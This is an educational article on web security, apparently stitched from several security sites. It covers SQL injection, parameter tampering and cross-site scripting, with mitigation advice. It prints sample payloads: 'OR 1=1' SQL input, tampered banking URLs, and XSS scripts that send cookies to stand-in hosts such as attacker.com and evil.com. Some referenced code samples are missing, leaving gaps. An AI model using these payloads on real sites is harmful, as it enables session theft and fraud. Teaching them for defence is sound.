SQL Injection, Parameter Temparing and Xss Cross Site Scripting
SQL Injection, Parameter Temparing and Xss Cross Site Scripting
SQL Injection (SQLi) refers to an injection attack wherein an attacker can execute malicious
SQL statements (also commonly referred to as a malicious payload) that control a web
application’s database server (also commonly referred to as a Relational Database
Management System – RDBMS). Since an SQL Injection vulnerability could possibly affect
any website or web application that makes use of an SQL-based database, the vulnerability is
one of the oldest, most prevalent and most dangerous of web application vulnerabilities.
By leveraging an SQL Injection vulnerability, given the right circumstances, an attacker can
use it to bypass a web application’s authentication and authorization mechanisms and retrieve
the contents of an entire database. SQL Injection can also be used to add, modify and delete
records in a database, affecting data integrity.
To such an extent, SQL Injection can provide an attacker with unauthorized access to
sensitive data including, customer data, personally identifiable information (PII), trade
secrets, intellectual property and other sensitive information.
In order to run malicious SQL queries against a database server, an attacker must first find an
input within the web application that is included inside of an SQL query.
In order for an SQL Injection attack to take place, the vulnerable website needs to directly
include user input within an SQL statement. An attacker can then insert a payload that will be
included as part of the SQL query and run against the database server.
The following server-side pseudo-code is used to authenticate users to the web application.
The above script is a simple example of authenticating a user with a username and a
password against a database with a table named users, and a username and password column.
The above script is vulnerable to SQL Injection because an attacker could submit malicious
input in such a way that would alter the SQL statement being executed by the database
server.
A simple example of an SQL Injection payload could be something as simple as setting the
password field to password’ OR 1=1.
This would result in the following SQL query being run against the database server.
An attacker can also comment out the rest of the SQL statement to control the execution of
the SQL query further.
Once the query executes, the result is returned to the application to be processed, resulting in
an authentication bypass. In the event of authentication bypass being possible, the application
will most likely log the attacker in with the first account from the query result — the first
account in a database is usually of an administrative user.
SQL is a programming language designed for managing data stored in an RDBMS, therefore
SQL can be used to access, modify and delete data. Furthermore, in specific cases, an
RDBMS could also run commands on the operating system from an SQL statement.
Keeping the above in mind, when considering the following, it’s easier to understand how
lucrative a successful SQL Injection attack can be for an attacker.
An SQL Injection needs just two conditions to exist – a relational database that uses SQL,
and a user controllable input which is directly used in an SQL query.
In the example below, it shall be assumed that the attacker’s goal is to exfiltrate data from a
database by exploiting an SQL Injection vulnerability present in a web application.
Supplying an SQL statement with improper input, for example providing a string when the
SQL query is expecting an integer, or purposely inserting a syntax error in an SQL statement
cause the database server to throw an error.
Errors are very useful to developers during development, but if enabled on a live site, they
can reveal a lot of information to an attacker. SQL errors tend to be descriptive to the point
where it is possible for an attacker to obtain information about the structure of the database,
and in some cases, even to enumerate an entire database just through extracting information
from error messages – this technique is referred to as error-based SQL Injection. To such an
extent, database errors should be disabled on a live site, or logged to a file with restricted
access instead.
Another common technique for exfiltrating data is to leverage the UNION SQL operator,
allowing an attacker to combine the results of two or more SELECT statements into a single
result. This forces the application to return data within the HTTP response – this technique is
referred to as union-based SQL Injection.
The following HTTP request is a normal request that a legitimate user would send.
Although the above request looks normal, the artist parameter in the GET request’s query
string is vulnerable to SQL Injection.
The SQL Injection payload below modifies the query to look for an inexistent record by
setting the value in the URL’s query string to -1 (it could be any other value that does not
exist in the database, however, an ID in a database is less likely to be a negative number).
In SQL Injection, the UNION operator is commonly used to allow an attacker to join a
malicious SQL query to the original query intended to be run by the web application. The
result of the injected query will be joined to the result of the original query, allowing an
attacker to exfiltrate data out of a database by obtaining values of columns from other tables.
The first step in preventing a SQL injection attack is to establish which (if any) of your
applications are vulnerable. The best way to do this is to launch your own attacks to see
whether they are successful. But SQL is a complex language, so it is not a trivial task to
construct code snippets that can be injected into a query to attempt to compromise a database.
The good news is that this is not necessary: All you need to do is run an automated SQL
injection attack tool to do the work for you.
One example is Havij, a tool that was developed by Iranian security professionals. Point it at
a potential target and Havij probes the site to determine what type of database is in use. Using
that knowledge, Havij then builds queries to probe characteristics of the database. Requiring
little to no SQL expertise from the end user, Havij can potentially extract fields, tables, and
sometimes even full data dumps from a target.
Perhaps most importantly, Havij has an error-fixing feature that can help you remove some of
the vulnerabilities it finds. Havij is available in a free version, and also in a more fully-
featured commercial version.
Other (open source) automated SQL injection tools include SQLmap and jSQL. Tyrant SQL
is a GUI version of SQLmap.
These tools put a powerful SQL injection attack arsenal – one that would otherwise be
limited to experts – into the hands of anyone who feels like attacking your applications. For
that reason, it is worth testing your applications with these tools and fixing any vulnerabilities
they bring to light before someone malicious finds them.
The good news is that there actually are a lot of things that website owners can do to prevent
SQL injection. Although there is no such thing as a foolproof solution in network security,
formidable obstacles can be placed in the path of SQL injection attempts.
Here are ten steps you can take to significantly reduce the risk of falling victim to a SQL
injection attack:
1. Trust no one: Assume all user-submitted data is evil so use input validation via a
function such as MySQL's mysql_real_escape_string() to ensure that any dangerous
characters such as ' are not passed to a SQL query in data. You should also sanitize
everything by filtering user data by context. For example, email addresses should be
filtered to allow only the characters allowed in an e-mail address, phone numbers
should be filtered to allow only the digits allowed in a phone number, and so on.
2. Don't use dynamic SQL – don't construct queries with user input: Even data
sanitization routines can be flawed, so use prepared statements, parameterized queries
or stored procedures instead whenever possible. But don't forget that while stored
procedures prevent some types of SQL injection attacks, they fail to protect against
many others, so don't rely exclusively on their use for your security.
3. Update and patch: Vulnerabilities in applications and databases that hackers can
exploit using SQL injection are regularly discovered, so it's vital to apply patches and
updates as soon as practical. A patch management solution might be worth the
investment.
4. Firewall: Consider a web application firewall (WAF) – either software or appliance-
based – to help filter out malicious data. Good ones will have a comprehensive set of
default rules, and make it easy to add new ones whenever necessary. A WAF can be
particularly useful to provide some security protection against a new vulnerability
before a patch is available. A popular example is the free, open source module
ModSecurity, which is available for Apache, Microsoft IIS, and nginx web servers.
ModSecurity provides a sophisticated and ever-evolving set of rules to filter
potentially dangerous web requests. Its SQL injection defenses can catch most
attempts to sneak SQL through web channels.
5. Reduce your attack surface: Get rid of any database functionality that you don't
need to prevent a hacker taking advantage of it. For example, the xp_cmdshell
extended stored procedure in MS SQL spawns a Windows command shell and passes
in a string for execution, which could be very useful indeed for a hacker. The
Windows process spawned by xp_cmdshell has the same security privileges as the
SQL Server service account.
6. Use appropriate privileges: Don't connect to your database using an account with
admin-level privileges unless there is some compelling reason to do so. Using a
limited access account is far safer, and can limit what a hacker is able to do. For
example, the code behind a login page should query the database using an account
limited only to the relevant credentials table. This way, a breach through this channel
cannot be leveraged to compromise the entire database.
7. Keep your secrets secret: Assume that your application is not secure and act
accordingly by encrypting or hashing passwords and other confidential data, including
connection strings.
8. Don't divulge more information than you need to: Hackers can learn a great deal
about database architecture from error messages, so ensure that they display minimal
information. Use the "RemoteOnly" customErrors mode (or equivalent) to display
verbose error messages on the local machine while ensuring that an external hacker
gets nothing more than the fact that his or her actions resulted in an unhandled error.
9. Continuously monitor SQL statements from database-connected applications:
This will help identify rogue SQL statements and vulnerabilities. Monitoring tools
that utilize machine learning and/or behavioral analysis can be especially useful.
10. Buy better software: Make code writers responsible for checking the code and for
fixing security flaws in custom applications before the software is delivered. SANS
suggests you incorporate terms from this sample contract into your agreement with
any software vendor.
11. Keep all web application software components including libraries, plug-ins,
frameworks, web server software, and database server software up to date with the
latest security patches available from vendors.
12. Utilize the principle of least privilege when provisioning accounts used to connect to
the SQL database. For example, if a web site only needs to retrieve web content from
a database using SELECT statements, do not give the web site's database connection
credentials other privileges such as INSERT, UPDATE, or DELETE privileges. In
many cases, these privileges can be managed using appropriate database roles for
accounts. Never allow your web application to connect to the database with
Administrator privileges (the "sa" account on Microsoft SQL Server, for instance).
13. Do not use shared database accounts between different web sites or applications.
14. Validate user-supplied input for expected data types, including input fields like drop-
down menus or radio buttons, not just fields that allow users to type in input.
15. Configure proper error reporting and handling on the web server and in the code so
that database error messages are never sent to the client web browser. Attackers can
leverage technical details in verbose error messages to adjust their queries for
successful exploitation.
A common misconception is that input filtering and escaping can prevent SQL Injection.
While input filtering can help stop the most trivial of attacks, it does not fix the underlying
vulnerability.
In many cases, input filtering can be evaded by attackers leaving your web application
vulnerable despite attempts to, for example, blacklist certain characters on a web form.
PARAMETER TAMPERING
Description
The Web Parameter Tampering attack is based on the manipulation of parameters exchanged
between client and server in order to modify application data, such as user credentials and
permissions, price and quantity of products, etc. Usually, this information is stored in
cookies, hidden form fields, or URL Query Strings, and is used to increase application
functionality and control.
This attack can be performed by a malicious user who wants to exploit the application for
their own benefit, or an attacker who wishes to attack a third-person using a Man-in-the-
middle attack. In both cases, tools likes Webscarab and Paros proxy are mostly used.
The attack success depends on integrity and logic validation mechanism errors, and its
exploitation can result in other consequences including XSS, SQL Injection, file inclusion,
and path disclosure attacks.
For a short video clip describing the vulnerability, click here (Courtesy of Checkmarx)
Examples
Example 1
The parameter modification of form fields can be considered a typical example of Web
Parameter Tampering attack.
For example, consider a user who can select form field values (combo box, check box, etc.)
on an application page. When these values are submitted by the user, they could be acquired
and arbitrarily manipulated by an attacker.
Example 2
When a web application uses hidden fields to store status information, a malicious user can
tamper with the values stored on his browser and change the referred information. For
example, an e-commerce shopping site uses hidden fields to refer to its items, as follows:
In this example, an attacker can modify the “value” information of a specific item, thus
lowering its cost.
Example 3
An attacker can tamper with URL parameters directly. For example, consider a web
application that permits a user to select his profile from a combo box and debit the account:
http://www.attackbank.com/default.asp?profile=741&debit=1000
In this case, an attacker could tamper with the URL, using other values for profile and debit:
http://www.attackbank.com/default.asp?profile=852&debit=2000
Other parameters can be changed including attribute parameters. In the following example,
it’s possible to tamper with the status variable and delete a page from the server:
http://www.attackbank.com/savepage.asp?nr=147&status=read
http://www.attackbank.com/savepage.asp?nr=147&status=del
Parameter Manipulation
Manipulating the data sent between the browser and the web application to an attacker's
advantage has long been a simple but effective way to make applications do things in a way
the user often shouldn't be able to. In a badly designed and developed web application,
malicious users can modify things like prices in web carts, session tokens or values stored in
cookies and even HTTP headers.
No data sent to the browser can be relied upon to stay the same unless cryptographically
protected at the application layer. Cryptographic protection in the transport layer (SSL) in no
way protects one from attacks like parameter manipulation in which data is mangled before it
hits the wire. Parameter tampering can often be done with:
Cookies
Form Fields
URL Query Strings
HTTP Headers
Cookie Manipulation
Description
Cookies are the preferred method to maintain state in the stateless HTTP protocol. They are
however also used as a convenient mechanism to store user preferences and other data
including session tokens. Both persistent and non-persistent cookies, secure or insecure can
be modified by the client and sent to the server with URL requests. Therefore any malicious
user can modify cookie content to his advantage. There is a popular misconception that non-
persistent cookies cannot be modified but this is not true; tools like Winhex are freely
available. SSL also only protects the cookie in transit.
The extent of cookie manipulation depends on what the cookie is used for but usually ranges
from session tokens to arrays that make authorization decisions. (Many cookies are Base64
encoded; this is an encoding scheme and offers no cryptographic protection).
Example from a real world example on a travel web site modified to protect the innocent (or
stupid).
Mitigation Techniques
One mitigation technique is to simply use one session token to reference properties stored in
a server-side cache. This is by far the most reliable way to ensure that data is sane on return:
simply do not trust user input for values that you already know. When an application needs to
check a user property, it checks the userid with its session table and points to the users data
variables in the cache / database. This is by far the correct way to architect a cookie based
preferences solution.
Another technique involves building intrusion detection hooks to evaluate the cookie for any
infeasible or impossible combinations of values that would indicate tampering. For instance,
if the "administrator" flag is set in a cookie, but the userid value does not belong to someone
on the development team.
The final method is to encrypt the cookie to prevent tampering. There are several ways to do
this including hashing the cookie and comparing hashes when it is returned or a symmetric
encryption , although server compromise will invalidate this approach and so response to
penetration must include new key generation under this scheme.
HTTP Header Manipulation
Description
HTTP headers are control information passed from web clients to web servers on HTTP
requests, and from web servers to web clients on HTTP responses. Each header normally
consists of a single line of ASCII text with a name and a value. Sample headers from a POST
request follow.
Host: www.someplace.org
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14
Referer: http://www.someplace.org/login.php
Content-type: application/x-www-form-urlencoded
Content-length: 49
Often HTTP headers are used by the browser and the web server software only. Most web
applications pay no attention to them. However some web developers choose to inspect
incoming headers, and in those cases it is important to realize that request headers originate at
the client side, and they may thus be altered by an attacker.
Normal web browsers do not allow header modification. An attacker will have to write his
own program (about 15 lines of perl code will do) to perform the HTTP request, or he may
use one of several freely available proxies that allow easy modification of any data sent from
the browser.
Example 1: The Referer header (note the spelling), which is sent by most browsers, normally
contains the URL of the web page from which the request originated. Some web sites choose
to check this header in order to make sure the request originated from a page generated by
them, for example in the belief it prevents attackers from saving web pages, modifying forms,
and posting them off their own computer. This security mechanism will fail, as the attacker
will be able to modify the Referer header to look like it came from the original site.
Example 2: The Accept-Language header indicates the preferred language(s) of the user. A
web application doing internationalization (i18n) may pick up the language label from the
HTTP header and pass it to a database in order to look up a text. If the content of the header
is sent verbatim to the database, an attacker may be able to inject SQL commands (see SQL
injection) by modifying the header. Likewise, if the header content is used to build a name of
a file from which to look up the correct language text, an attacker may be able to launch a
path traversal attack.
Mitigation Techniques
Simply put headers cannot be relied upon without additional security measures. If a header
originated server-side such as a cookie it can be cryptographically protected. If it originated
client-side such as a referer it should not be used to make any security decisions.
Further Reading
For more information on headers, please see RFC 2616 which defines HTTP/1.1.
When a user makes selections on an HTML page, the selection is typically stored as form
field values and sent to the application as an HTTP request (GET or POST). HTML can also
store field values as Hidden Fields, which are not rendered to the screen by the browser but
are collected and submitted as parameters during form submissions.
Whether these form fields are pre-selected (drop down, check boxes etc.), free form or
hidden, they can all be manipulated by the user to submit whatever values he/she chooses. In
most cases this is as simple as saving the page using "view source", "save", editing the
HTML and re-loading the page in the web browser.
Some developers try to prevent the user from entering long usernames and passwords by
setting a form field value maxlength=(an integer) in the belief they will prevent the malicious
user attempting to inject buffer overflows of overly long parameters. However the malicious
user can simply save the page, remove the maxlength tag and reload the page in his browser.
Other interesting form fields include disabled, readonly and value. As discussed earlier, data
(and code) sent to clients must not be relied upon until in responses until it is vetted for sanity
and correctness. Code sent to browsers is merely a set of suggestions and has no security
value.
Hidden Form Fields represent a convenient way for developers to store data in the browser
and are one of the most common ways of carrying data between pages in wizard type
applications. All of the same rules apply to hidden forms fields as apply to regular form
fields.
Example 2 - Take the same application. Behind the login form may have been the HTML tag;
By manipulating the hidden value to a Y, the application would have logged the user in as an
Administrator. Hidden form fields are extensively used in a variety of ways and while it's
easy to understand the dangers they still are found to be significantly vulnerable in the wild.
Mitigation Techniques
Instead of using hidden form fields, the application designer can simply use one session token
to reference properties stored in a server-side cache. When an application needs to check a
user property, it checks the session cookie with its session table and points to the user's data
variables in the cache / database. This is by far the correct way to architect this problem.
If the above technique of using a session variable instead of a hidden field cannot be
implemented, a second approach is as follows.
The name/value pairs of the hidden fields in a form can be concatenated together into a single
string. A secret key that never appears in the form is also appended to the string. This string is
called the Outgoing Form Message. An MD5 digest or other one-way hash is generated for
the Outgoing Form Message. This is called the Outgoing Form Digest and it is added to the
form as an additional hidden field.
When the form is submitted, the incoming name/value pairs are again concatenated along
with the secret key into an Incoming Form Message. An MD5 digest of the Incoming Form
Message is computed. Then the Incoming Form Digest is compared to the Outgoing Form
Digest (which is submitted along with the form) and if they do not match, then a hidden field
has been altered. Note, for the digests to match, the name/value pairs in the Incoming and
Outgoing Form Messages must concatenated together in the exact same order both times.
This same technique can be used to prevent tampering with parameters in a URL. An
additional digest parameter can be added to the URL query string following the same
technique described above.
URL Manipulation
Description
URL Manipulation comes with all of the problems stated above about Hidden Form Fields,
and creates some new problems as well.
HTML Forms may submit their results using one of two methods: GET or POST. If the
method is GET, all form element names and their values will appear in the query string of the
next URL the user sees. Tampering with hidden form fields is easy enough, but tampering
with query strings is even easier. One need only look at the URL in the browser's address bar.
Take the following example; a web page allows the authenticated user to select one of his
pre-populated accounts from a drop-down box and debit the account with a fixed unit
amount. It's a common scenario. His/her choices are recorded by pressing the submit button.
The page is actually storing the entries in form field values and submitting them using a form
submit command. The command sends the following HTTP request.
http://www.victim.com/example?
accountnumber=12345&debitamount=1
A malicious user could construct his own account number and change the parameters as
follows:
http://www.victim.com/example?
accountnumber=67891&creditamount=999999999
Thee new parameters would be sent to the application and be processed accordingly.
This seems remarkably obvious but has been the problem behind several well-published
attacks including one where hackers bought tickets from the US to Paris for $25 and flew to
hold a hacking convention. Another well-known electronic invitation service allowed users to
guess the account ID and login as a specific user this way; a fun game for the terminally
bored with voyeuristic tendencies.
Unfortunately, it isn't just HTML forms that present these problems. Almost all navigation
done on the internet is through hyperlinks. When a user clicks on a hyperlink to navigate
from one site to another, or within a single application, he is sending GET requests. Many of
these requests will have a query string with parameters just like a form. And once again, a
user can simply look in the "Address" window of his browser and change the parameter
values.
Mitigation Techniques
Solving URL manipulation problems takes planning. Different techniques can be used in
different situations. The best solution is to avoid putting parameters into a query string (or
hidden form field).
When parameters need to be sent from a client to a server, they should be accompanied by a
valid session token. The session token may also be a parameter, or a cookie. Session tokens
have their own special security considerations described previously. In the example above,
the application should not make changes to the account without first checking if the user
associated with the session has permission to edit the account specified by the parameter
"accountnumber". The script that processes a credit to an account cannot assume that access
control decisions were made on previous application pages. Parameters should never be
operated on unless the application can independently validate they were bound for and are
authorized to be acted on.
However, a second form of tampering is also evident in the example. Notice that the
creditamount is increased from 1 to 999999999. Imagine that the user doesn't tamper with the
accountnumber but only with the amount. He may be crediting his own account with a very
large sum instead of $1. Clearly this is a parameter that should simply not be present in the
URL.
There are two reasons why a parameter should not be a URL (or in a form as a hidden field).
The above example illustrates one reason - the parameter is one the user should not be able to
set the value of. The second is if a parameter is one the user should not be able to see the
value of. Passwords are a good example of the latter. Users's should not even see their own
passwords in a URL because someone may be standing behind them and because browsers
record URL histories. See Browser History Attack.
By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would
exploit a vulnerability within a website or web application that the victim would visit,
essentially using the vulnerable website as a vehicle to deliver a malicious script to the
victim’s browser.
While XSS can be taken advantage of within VBScript, ActiveX and Flash (although now
considered legacy or even obsolete), unquestionably, the most widely abused is JavaScript –
primarily because JavaScript is fundamental to most browsing experiences.
Stored Cross-site scripting vulnerabilities happens when the payload is saved, for example in
a database and then is executed when a user opens the page. Stored cross-site scripting is very
dangerous for a number of reasons:
A stored XSS vulnerability can happen if the username of an online forum member is not
properly sanitized when it is printed on the page. In such case an attacker can insert malicious
code when registering a new user on the form. When the username is reflected on the forum
page, it will look like this:
Username: user123<script>document.location='https://attacker.com/?
cookie='+encodeURIComponent(document.cookie)</script>
Registered since: 2016
The above code is triggered every time a user visits this forum section, and it sends the users'
cookies of the forum to the attacker, who is then able to use them to hijack their sessions.
Stored XSS can be a very dangerous vulnerability since it can have the effect of a worm,
especially when exploited on popular pages.
For example imagine a forum or social media website that has a public facing page that is
vulnerable to a stored XSS vulnerability, such as the profile page of the user. If the attacker is
able to place a malicious payload that adds itself to the profile page, each time someone
opens it the payload will spread itself with an exponential growth.
A reflected XSS vulnerability happens when the user input from a URL or POST data is
reflected on the page without being stored. This means that an attacker has to send a crafted
link or post form to the victim to insert the payload, and the victim should click the link. This
kind of payload is also generally being caught by built in browser XSS filters, like in
Chrome, Internet Explorer or Edge.
https://example.com/news?q=data+breach
In the search results the website reflects the content of the query that the user searched for,
such as:
https://example.com/news?q=<script>document.location='https://
attacker.com/log.php?c=' + encodeURIComponent(document.cookie)</script>
Once the victim clicks on the link, the website will display the following:
The HTML source code, which is reflecting the attacker's malicious code redirects the victim
to a website that is controlled by the attacker, which can then record the user's current cookie
for example.com as GET parameter.
In order for an XSS attack to take place the vulnerable website needs to directly include user
input in its pages. An attacker can then insert a string that will be used within the web page
and treated as code by the victim’s browser.
The following server-side pseudo-code is used to display the most recent comment on a web
page.
print "<html>"
print "<h1>Most recent comment</h1>"
print database.latestComment
print "</html>"
The above script is simply printing out the latest comment from a comments database and
printing the contents out to an HTML page, assuming that the comment printed out only
consists of text.
The above page is vulnerable to XSS because an attacker could submit a comment that
contains a malicious payload such as <script>doSomethingEvil();</script>.
Users visiting the web page will get served the following HTML page.
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
When the page loads in the victim’s browser, the attacker’s malicious script will execute,
most often without the user realizing or being able to prevent such an attack.
Important Note — An XSS vulnerability can only exist if the payload (malicious script) that
the attacker inserts ultimately get parsed (as HTML in this case) in the victim’s browser
The consequences of what an attacker can do with the ability to execute JavaScript on a web
page may not immediately stand out, especially since browsers run JavaScript in a very
tightly controlled environment and that JavaScript has limited access to the user’s operating
system and the user’s files.
However, when considering that JavaScript has access to the following, it’s easier to
understand how creative attackers can get with JavaScript.
Malicious JavaScript has access to all the same objects the rest of the web page has,
including access to cookies. Cookies are often used to store session tokens, if an
attacker can obtain a user’s session cookie, they can impersonate that user.
JavaScript can read and make arbitrary modifications to the browser’s DOM (within
the page that JavaScript is running).
JavaScript can use XMLHttpRequest to send HTTP requests with arbitrary content to
arbitrary destinations.
JavaScript in modern browsers can leverage HTML5 APIs such as accessing a user’s
geolocation, webcam, microphone and even the specific files from the user’s file
system. While most of these APIs require user opt-in, XSS in conjunction with some
clever social engineering can bring an attacker a long way.
The above, in combination with social engineering, allow attackers to pull off advanced
attacks including cookie theft, keylogging, phishing and identity theft. Critically, XSS
vulnerabilities provide the perfect ground for attackers to escalate attacks to more serious
ones.
<script>
window.location=“http://evil.com/?cookie=” + document.cookie
</script>
The following is a non-exhaustive list of XSS attack vectors that an attacker could use to
compromise the security of a website or web application through an XSS attack. A more
extensive list of XSS payload examples is maintained here.
<script> tag
The <script> tag is the most straight-forward XSS payload. A script tag can either reference
external JavaScript code, or embed the code within the script tag.
An XSS payload can be delivered inside <body> tag by using the onload attribute or other
more obscure attributes such as the background attribute.
The <iframe> tag allows the embedding of another HTML page into the parent page. An
IFrame can contain JavaScript, however, it’s important to note that the JavaScript in the
iFrame does not have access to the DOM of the parent’s page due to the browser’s Content
Security Policy (CSP). However, IFrames are still very effective means of pulling off phising
attacks.
In some browsers, if the type attribute of the <input> tag is set to image, it can be
manipulated to embed a script.
The <link> tag, which is often used to link to external style sheets could contain a script.
<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">
<table> tag
The background attribute of the table and td tags can be exploited to refer to a script instead
of an image.
The <div> tag, similar to the <table> and <td> tags can also specify a background and
therefore embed a script.
The <object> tag can be used to include in a script from an external site.
Even though most modern web browsers have an inbuilt XSS filter they should not be seen as
an alternative to sanitization. They cannot catch all kinds of cross-site scripting attacks and
are not strict so not to lead to false positives, which would prevent some pages from loading
correctly. A web browser's XSS filter should only be a "second line of defense" and the idea
is to minimise the impact of existing vulnerabilities.
Developers should not use blacklists as there is a variety of bypasses for them. Another thing
they should avoid using is the stripping of dangerous functions and characters as the
browsers' XSS filters can't recognize the dangerous payloads when the output is tampered
with allowing for possible bypasses. That being said, the only recommended prevention of
XSS is encoding as mentioned above.
REFERENCES
https://www.owasp.org/index.php/Web_Parameter_Tampering
https://www.acunetix.com/websitesecurity/sql-injection/
https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/